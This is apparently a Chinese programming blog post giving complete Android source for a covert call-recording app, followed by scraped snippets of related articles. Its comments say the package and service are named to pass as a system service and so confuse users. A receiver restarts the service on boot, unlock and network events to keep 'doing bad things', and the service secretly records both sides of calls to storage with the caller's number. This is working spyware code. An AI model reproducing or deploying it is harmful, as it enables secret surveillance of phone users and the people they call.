服务 通话录音 TelephonyManager

MainActivity




public class MainActivity extends ListActivity {

    private BatteryChangedReceiver receiver;

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        List<String> mData = new ArrayList<String>(Arrays.asList("开启服务", "停止服务", "判断服务是否正在运行", "动态注册电量变化的广播接收者", "取消注册"));

        ListAdapter mAdapter = new ArrayAdapter<String>(this, android.R.layout.simple_list_item_1, mData);

        setListAdapter(mAdapter);

        receiver = new BatteryChangedReceiver();

    }

    @Override

    protected void onListItemClick(ListView l, View v, int position, long id) {

        switch (position) {

        case 0:

            startService(new Intent(this, SystemService.class));

            break;

        case 1:

            stopService(new Intent(this, SystemService.class));

            break;

        case 2:

            Toast.makeText(this, "服务是否在运行:" + isServiceWorked(this, "com.android.service.SystemService"), Toast.LENGTH_SHORT).show();

            break;

        case 3://电池的状态改变广播ACTION_BATTERY_CHANGED只有通过动态方式注册后才能获得。sticky:粘性的; 热湿的,闷热的; 极不愉快的; 不动的;

            IntentFilter filter = new IntentFilter();

            filter.addAction(Intent.ACTION_BATTERY_CHANGED);//This is a sticky broadcast containing the charging state, level, and other information about the battery.

            filter.addAction(Intent.ACTION_BATTERY_LOW);//Indicates low battery condition on the device. This broadcast corresponds to the "Low battery warning" system dialog. 

            filter.addAction(Intent.ACTION_BATTERY_OKAY);//This will be sent after ACTION_BATTERY_LOW once the battery has gone back up to an okay state. 

            registerReceiver(receiver, filter);

            break;

        case 4:

            unregisterReceiver(receiver);

            receiver = null;

            break;

        }

    }

    public static boolean isServiceWorked(Context context, String serviceName) {

        ActivityManager myManager = (ActivityManager) context.getSystemService(Context.ACTIVITY_SERVICE);

        ArrayList<RunningServiceInfo> runningService = (ArrayList<RunningServiceInfo>) myManager.getRunningServices(Integer.MAX_VALUE);

        for (int i = 0; i < runningService.size(); i++) {

            if (runningService.get(i).service.getClassName().toString().equals(serviceName)) {

                return true;

            }

        }

        return false;

    }

}

SuperReceiver  


/** 为防止服务被关闭,我们为此BroadcastReceiver注册了很多广播事件的,只要有一个广播被我们获取,我们就启动后台服务干坏事*/

public class SuperReceiver extends BroadcastReceiver {

    @Override

    public void onReceive(Context context, Intent intent) {

        context.startService(new Intent(context, SystemService.class));

        Log.i("bqt", intent.getAction());

    }

}

电量改变的Receiver


public class BatteryChangedReceiver extends BroadcastReceiver {

    @Override

    public void onReceive(Context context, Intent intent) {

        String action = intent.getAction();

        if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_CHANGED)) {//"android.intent.action.BATTERY_CHANGED"

            Log.i("battery", "==============电池电量改变:BATTERY_CHANGED_ACTION");

            Log.i("battery", "当前电压=" + intent.getIntExtra(BatteryManager.EXTRA_VOLTAGE, -1));

            Log.i("battery", "健康状态=" + intent.getIntExtra(BatteryManager.EXTRA_HEALTH, -1));//如BATTERY_HEALTH_COLD

            Log.i("battery", "电量最大值=" + intent.getIntExtra(BatteryManager.EXTRA_SCALE, -1));

            Log.i("battery", "当前电量=" + intent.getIntExtra(BatteryManager.EXTRA_LEVEL, -1));

            Log.i("battery", "充电电源类型=" + intent.getIntExtra(BatteryManager.EXTRA_PLUGGED, -1));

            Log.i("battery", "充电状态=" + intent.getIntExtra(BatteryManager.EXTRA_STATUS, -1));//如BATTERY_STATUS_CHARGING 正在充电

            Log.i("battery", "电池类型=" + intent.getStringExtra(BatteryManager.EXTRA_TECHNOLOGY));//比如,对于锂电池是Li-ion

            Log.i("battery", "电池温度=" + intent.getIntExtra(BatteryManager.EXTRA_TEMPERATURE, -1));

        } else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_LOW)) {// "android.intent.action.BATTERY_LOW"

            Log.i("battery", "电池电量低:ACTION_BATTERY_LOW");

        } else if (action.equalsIgnoreCase(Intent.ACTION_BATTERY_OKAY)) {// "android.intent.action.BATTERY_OKAY"

            Log.i("battery", "电池已经从电量低恢复为正常:ACTION_BATTERY_OKAY");

        }

    }

}

Service


/**为防止服务被关闭,在onDestroy中我们又启动了另一个完全一样的服务,这样便可达到永远无法关闭服务的目的。

 *  为混淆用户,我们故意使用包名com.android.service及类名SystemService,让用户以为这是系统后台服务呢! */

public class SystemService extends Service {

    private PhoneStateListener listener;

    @Override

    public IBinder onBind(Intent intent) {

        return null;

    }

    @Override

    public void onCreate() {

        listener = new MyPhoneStateListener();

        ((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_CALL_STATE);

        Log.i("bqt", "++++++onCreate-1");

        super.onCreate();

    }

    @Override

    public int onStartCommand(Intent intent, int flags, int startId) {

        Log.i("bqt", "++++++onStartCommand-1");

        return START_STICKY;//当service因内存不足被kill,当内存又有的时候,service又被重新创建

        /**1、START_STICKY:进程被kill后,将保留在开始状态,但是不保留那些传入的intent。不久后service就会再次尝试重新创建,

                   因为保留在开始状态,在创建service后将保证调用onstartCommand。如果没有传递任何开始命令给service,那将获取到null的intent。

              2、START_NOT_STICKY:进程被kill后,并且没有新的intent传递给它,Service将移出开始状态,并且直到有新的startService调用才重新创建。

                     因为如果没有传递任何未决定的intent那么service是不会启动,也就是期间onstartCommand不会接收到任何null的intent。

             3、START_REDELIVER_INTENT:进程被kill后,系统会再次启动service,并传入最后一个intent给onstartCommand.直到调用stopSelf才停止传递intent。

                    如果在被kill后还有未处理好的intent,那被kill后服务还是会自动启动。因此onstartCommand不会接收到任何null的intent。*/

    }

    @Override

    public void onDestroy() { //在onDestroy中再启动本服务(张泽华老师说不可以启动自己,实测是可以的!),但是用户杀进程时不会调用onDestroy方法。

        //startService(new Intent(this, SystemService.class));

        // 取消电话的监听

        ((TelephonyManager) getSystemService(TELEPHONY_SERVICE)).listen(listener, PhoneStateListener.LISTEN_NONE);

        listener = null;

        Log.i("bqt", "++++++onDestroy-1");

        super.onDestroy();

    }

}

电话状态监听


public class MyPhoneStateListener extends PhoneStateListener {

    private String phoneNumber; // 来电号码

    public static final String filePath = Environment.getExternalStorageDirectory().getPath() + "/bqt_callRecords";

    private File directory, file;

    private MediaRecorder mediaRecorder;

    @Override

    public void onCallStateChanged(int state, String incomingNumber) {

        super.onCallStateChanged(state, incomingNumber);

        try {

            switch (state) {

            case TelephonyManager.CALL_STATE_RINGING://响铃状态

                phoneNumber = incomingNumber;//只有这里能拿到来电号码,在CALL_STATE_OFFHOOK状态是拿不到来电号码的

                break;

            case TelephonyManager.CALL_STATE_OFFHOOK://通话状态

                mediaRecorder = new MediaRecorder();

                if (this.phoneNumber == null) this.phoneNumber = "null_";

                directory = new File(filePath);

                if (!directory.exists()) directory.mkdir();

                file = new File(filePath + File.separator + phoneNumber + new SimpleDateFormat("yyyyMMdd_HHmmss‘.amr‘", Locale.getDefault()).format(new Date()));

                if (!file.exists()) file.createNewFile();

                mediaRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);//指定录音机的声音源

                //MIC只获取自己说话的声音;VOICE_CALL双方的声音都可以录取,但是由于外国法律的限制,某些大牌手机不支持此参数

                mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);//设置录制文件的输出格式,如AMR-NB,MPEG-4等

                mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);//设置音频的编码,如AAC,AMR-NB等

                mediaRecorder.setOutputFile(file.getAbsolutePath());//存储路径

                mediaRecorder.prepare();//准备,一定要放在设置后、开始前,否则会产生异常

                mediaRecorder.start();

                Log.i("bqt", "开始录音!");

                break;

            case TelephonyManager.CALL_STATE_IDLE://空闲状态

                if (mediaRecorder != null) {

                    //释放资源

                    mediaRecorder.stop();

                    //mediaRecorder.reset(); //重设

                    mediaRecorder.release();

                    mediaRecorder = null;

                }

                Log.i("bqt", "结束录音!");

                break;

            }

        } catch (Exception e) {

        }

    }

}

清单文件


<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.android.service"

    android:versionCode="1"

    android:versionName="1.0" >

    <uses-sdk

        android:minSdkVersion="8"

        android:targetSdkVersion="17" />

    <!-- 访问电话状态 -->

    <uses-permission android:name="android.permission.READ_PHONE_STATE" />

    <!-- 允许程序监视、修改或放弃拨打电话 -->

    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />

    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />

    <!-- 挂载、反挂载外部文件系统 -->

    <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS" />

    <!-- 录音权限 -->

    <uses-permission android:name="android.permission.RECORD_AUDIO" />

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <activity

            android:name=".MainActivity"

            android:label="@string/app_name" >

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <receiver android:name=".SuperReceiver" >

            <intent-filter>

                <action android:name="android.intent.action.BOOT_COMPLETED" />

                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />

                <action android:name="android.net.wifi.WIFI_STATE_CHANGED" />

                <!-- 唤醒机器、解锁时发出,屏幕SCREEN_ON和SCREEN_OFF的广播只能通过代码动态的形式注册 -->

                <action android:name="android.intent.action.USER_PRESENT" />

            </intent-filter>

        </receiver>

        <service

            android:name=".SystemService"

            android:process=":process1" />

    </application>

</manifest>

来自为知笔记(Wiz)

附件列表

时间: 2024-10-15 14:39:21

服务 通话录音 TelephonyManager的相关文章

android服务(service)初步——通话录音

启动服务之后,监听手机TelephonyManager状态,根据不同情况做出选择,源码以及截图如下: 生成的录音文件: Log日志: 这个不知道为什么,点击多次停止服务的时候,总是会出现下面的BUG: 图片看不清楚,我把日志复制了出来如下: 09-21 19:56:31.850: ERROR/audio_input(34): unsupported parameter: x-pvmf/media-input-node/cap-config-interface;valtype=key_specif

服务管理类------TelephonyManager

/****@author dingran*创建日期 2010-4-29 下午05:02:47**/package net.sunniwell.app;import android.app.Activity;import android.os.Bundle;import android.telephony.CellLocation;import android.telephony.PhoneStateListener;import android.telephony.TelephonyManage

云技术革新录音,保证通话更安全

在需要人工客服的帮助时,与客服进行的通话会被录音,或者是需要某些证据时,谈话会被录音等等.随着一般录音文件较大,容易占本地存储空间,录音文件数量多时,难管理等问题的出现,基于云技术的云录音出现在生活中. 所谓,云录音是采用云技术对录音文内容进行云端保存,实现录音数据统一管理,实时备份与监听. 云录音带来的优势 1)大内存高质量 云录音资源存储在云服务器上面,云服务器大内存存储,不占用本地硬件存储空间:数字芯片处理录音,高保真原音再现,录音清晰流畅,安全可靠,读取快捷方便. 2)安全管理可靠 对录

Android四大组件应用系列——实现电话拦截和电话录音

一.问题描述 使用BordercastReceiver和Service组件实现下述功能: 1.当手机处于来电状态,启动监听服务,对来电进行监听录音. 2.设置电话黑名单,当来电是黑名单电话,则直接挂断. 当拨打电话或电话状态发生改变时,系统就会发出有序广播,因此我们可以使用BordercastReceiver接受广播,因BordercastReceiver执行时间短不能执行耗时任务也不能使用子线程,因此我们应启动一个Service来监听电话并进行处理 二.加入AIDL文件 Android没有对外

Android中 服务Service 电话窃听器

组件-服务 后台长期运行的没有界面的一个activity. 电话窃听器: 需求: 1.没有界面,一般用户看不到,开机自动启动 2.长期的后台运行,监视当前用户的手机状态 3.通话状态,开启一个录音机,然后录音通话记录,保存在sd卡中. 创建服务的步骤: 1.写一个类,继承系统的Service组件 2.清单文件配置 3.在服务的onCreate()方法做服务初始化的操作 4.在服务的onDestroy()方法里面做服务扫尾操作 5.开启服务startService(intent) stopServ

Android电话服务完成版

之前的代码是分开写的,并没有实现一个完成电话相关服务,这次就给大家来一记猛药,望大家提出宝贵意见和建议与我分享,感谢! 电话监听主Activity package tedu.cn.telephone; import tedu.cn.telephone.PhoneService.BinderImpl; import tedu.cn.telephoneDemo.IService; import android.app.Activity; import android.content.Componen

三星N900(note3)刷机包 颓废N0.8.1 修复已知BUG 集成谷歌服务

ROM介绍 8.1更新信息:攻克了来电后点击HOME出现SECPHONE已经停止的问题 去掉了桌面隐藏信息的选项,官方最新底包暂不支持这功能 增加了网友们须要验证的谷歌服务(不须要的同学同步什么的都关掉) ROM全局取出了调试信息相关代码.加快对应速度. 去除了一处SMALI导致的频繁调用问题 一些细节的修改和调试 基于三星官方OTA 最新XXUENF3精简制作而成 无基带,保证不会被锁. 官方内核 稳定首选 Zipaligned全部APK 更顺滑 精简了大部分定制机的国人非常少用到的APK.

Android录音--AudioRecord、MediaRecorder

Android提供了两个API用于实现录音功能:android.media.AudioRecord.android.media.MediaRecorder. 网上有很多谈论这两个类的资料.现在大致总结下: 1.AudioRecord 主要是实现边录边播(AudioRecord+AudioTrack)以及对音频的实时处理(如会说话的汤姆猫.语音) 优点:语音的实时处理,可以用代码实现各种音频的封装 缺点:输出是PCM语音数据,如果保存成音频文件,是不能够被播放器播放的,所以必须先写代码实现数据编码

如何给Skype通话录音录像

Skype是免费的语音通话软件,不但可以点对点用电脑进行免费的语音通话,而且只需花费低廉的费用就可以直接呼叫固定电话或手机,Skype以优秀的通话质量而赢得了全世界不少用户的亲睐,我就是Skype的忠实用户,下图就是我的Skype截图: 我常常使用Skype和台湾同胞还有国外的朋友进行联系,有时因为业务需要需要将语音通话录音并保留下来,在我有这个想法的那个时候(2006年)Skype官方并没有提供录音功能,咱们是做程序的嘛,没有的功能可以自己来添加啊,这也是为什么我酷爱编程的原因. 应广大网友的